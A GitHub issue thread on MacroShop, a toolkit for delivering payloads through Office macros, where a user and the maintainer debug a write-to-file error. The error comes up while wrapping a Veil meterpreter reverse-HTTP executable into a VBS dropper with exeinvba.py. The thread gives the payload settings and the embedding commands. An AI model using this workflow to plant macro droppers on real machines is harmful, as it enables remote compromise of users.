khr0x40sh / MacroShop

Collection of scripts to aid in delivering payloads via Office Macros. Most are python. See http://khr0x40sh.wordpress.com for details.
MIT License
404 stars 116 forks source link

Write to file failed #1

Open dimitrios1988 opened 9 years ago

dimitrios1988 commented 9 years ago

I am trying to embed an exe through vb in a document, but when the vb is run there is a 3004 runtime error which says "Write to file failes". I also tried the test.vb that you provide, but I get the same error. I also get the same error when I run the vb as a standalone.

dimitrios1988 commented 9 years ago

If the vbs is created from linux, then the runtime error occurs. I created the vbs from windows and everything is working fine.

khr0x40sh commented 9 years ago

It sounds like a write permission error on the linux OS. What flavor of linux were you using, what user were you logged into as, and lastly what does ls -al show? I've only tested the code on Kali, debian, and ubuntu in a chmod 777 directory. I'll run some tests on my end to see if I can replicate and correct the error.

On Sun, Jul 19, 2015 at 6:38 PM, Chondrokoukis Dimitrios < notifications@github.com> wrote:

If the vbs is created from linux, then the runtime error occurs. I created the vbs from windows and everything is working fine.

— Reply to this email directly or view it on GitHub https://github.com/khr0x40sh/MacroShop/issues/1#issuecomment-122711937.

khr0x40sh commented 9 years ago

I think I misunderstood your first comment. Can you post both files (the vb generated in linux and the one from windows) somewhere so I can run a diff on them and see maybe it is an environment issue? Thanks.

dimitrios1988 commented 9 years ago

Sorry for the late response, but I was busy the last couple of days.

The Payload type I used in Veil was cs/meterpreter/rev_http

These are the parameters COMPILE_TO_EXE = Y LHOST=192.168.2.10 LPORT=4444 USE_ARYA=Y

The output file was payload.exe

Then I used the following command in Linux python exeinvba.py --exe ./payload.exe --out payloadLinux.vbs --dest "C:\payloadLinux.exe"

and the following command in Windows to create the respective files. python exeinvba.py --exe ./payload.exe --out payloadWindows.vbs --dest "C:\payloadWindows.exe"

When I run payloadLinux.vbs there is a 3004 runtime error which says "Write to file failes". The payloadWindows.vbs runs successfully.

The Linux machine runs the latest version of Kali Linux 32bit with the latest updates from the official repo.

The Windows machine runs Windows XP 32bit with the latest updates.

Here is a link to download the generated files. https://www.dropbox.com/s/mnrojz3axofneo8/files.zip?dl=0

khr0x40sh commented 9 years ago

It appears the linux vba does not escape the backslash properly in the destination name. Also, diff reports every line as different, so I am thinking an environmental newline issue may be present. Thanks for your help, I should have a fix for this soon.

On Tue, Jul 21, 2015 at 7:24 PM, Chondrokoukis Dimitrios < notifications@github.com> wrote:

The Payload type I used in Veil was cs/meterpreter/rev_http

These are the parameters COMPILE_TO_EXE = Y LHOST=192.168.2.10 LPORT=4444 USE_ARYA=Y

The output file was payload.exe

Then I used the following command in Linux python exeinvba.py --exe ./payload.exe --out payloadLinux.vbs --dest "C:\payloadLinux.exe"

and the following command in Windows to create the respective files. python exeinvba.py --exe ./payload.exe --out payloadWindows.vbs --dest "C:\payloadWindows.exe"

When I run payloadLinux.vbs there is a 3004 runtime error which says "Write to file failes". The payloadWindows.vbs runs successfully.

The Linux machine runs the latest version of Kali Linux 32bit with the latest updates from the official repo.

The Windows machine runs Windows XP 32bit with the latest updates.

Here is a link to download the generated files. https://www.dropbox.com/s/mnrojz3axofneo8/files.zip?dl=0

— Reply to this email directly or view it on GitHub https://github.com/khr0x40sh/MacroShop/issues/1#issuecomment-123506510.

khr0x40sh commented 9 years ago

As long as you escape the backslash, i.e C:\payloadLinux.exe vice C:\payloadLinux.exe, it works fine. It looks like it is a pain in the rear to get python to escape backslashes on a variable, so I'm just going to add error checking to remind the user to escape all backslashes for now, and work on a more elegant solution later.

On Wed, Jul 22, 2015 at 9:28 AM, khrash 41414141 khr0x40sh@gmail.com wrote:

It appears the linux vba does not escape the backslash properly in the destination name. Also, diff reports every line as different, so I am thinking an environmental newline issue may be present. Thanks for your help, I should have a fix for this soon.

On Tue, Jul 21, 2015 at 7:24 PM, Chondrokoukis Dimitrios < notifications@github.com> wrote:

The Payload type I used in Veil was cs/meterpreter/rev_http

These are the parameters COMPILE_TO_EXE = Y LHOST=192.168.2.10 LPORT=4444 USE_ARYA=Y

The output file was payload.exe

Then I used the following command in Linux python exeinvba.py --exe ./payload.exe --out payloadLinux.vbs --dest "C:\payloadLinux.exe"

and the following command in Windows to create the respective files. python exeinvba.py --exe ./payload.exe --out payloadWindows.vbs --dest "C:\payloadWindows.exe"

When I run payloadLinux.vbs there is a 3004 runtime error which says "Write to file failes". The payloadWindows.vbs runs successfully.

The Linux machine runs the latest version of Kali Linux 32bit with the latest updates from the official repo.

The Windows machine runs Windows XP 32bit with the latest updates.

Here is a link to download the generated files. https://www.dropbox.com/s/mnrojz3axofneo8/files.zip?dl=0

— Reply to this email directly or view it on GitHub https://github.com/khr0x40sh/MacroShop/issues/1#issuecomment-123506510.

khr0x40sh commented 8 years ago

The bug label will be removed as the README clearly states escaping the backslashes for the destination variable.